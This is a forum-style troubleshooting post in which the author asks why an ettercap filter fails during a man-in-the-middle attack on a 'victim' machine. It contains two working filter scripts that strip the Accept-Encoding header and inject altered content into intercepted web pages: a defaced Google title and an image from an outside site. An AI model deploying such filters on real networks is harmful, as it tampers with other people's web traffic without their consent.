easy ettercap filter

I'm trying to do easy ettercap filter but it doesn't seem to work. The filter is:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as orig$
      msg("zapped Accept-Encoding!\n");
   }
}

if (ip.proto == TCP && tcp.src == 80) {
   replace("<title>Google</title>", "<title>Google H4CK3D</title>");
   msg("Filter Ran.\n");
}

The MiM attack works for sure. I can see the traffic going through my laptop.

If I load  Google page on the victims computer, the source page still has  <title>Google</title>.

In Wireshark I can see one request from the Victim with:

Accept-Encoding: gzip,deflate\r\n

and then a second one:

Accept-Rubbish!: gzip,deflate\r\n

but the second request is marked as "TCP out of order". I don't really know what that means.

Then I can see a answer from google containing the  "H4CK3D" title. It's again marked as "TCP out of order".

Anyway, the vicitm's Google page does not contain the modified code.

Ettercap logs "Filter ran".


If I use this filter, from the IronGeek tutorial, it works fine:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Filter Ran.\n");
}

This filter is more or less the same so I don't understand why mine doesn't work.

Thanks for your advices.

Kind regards,
Tex

Last edited by Tex-Twil (23-08-2007 07:17:22)

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值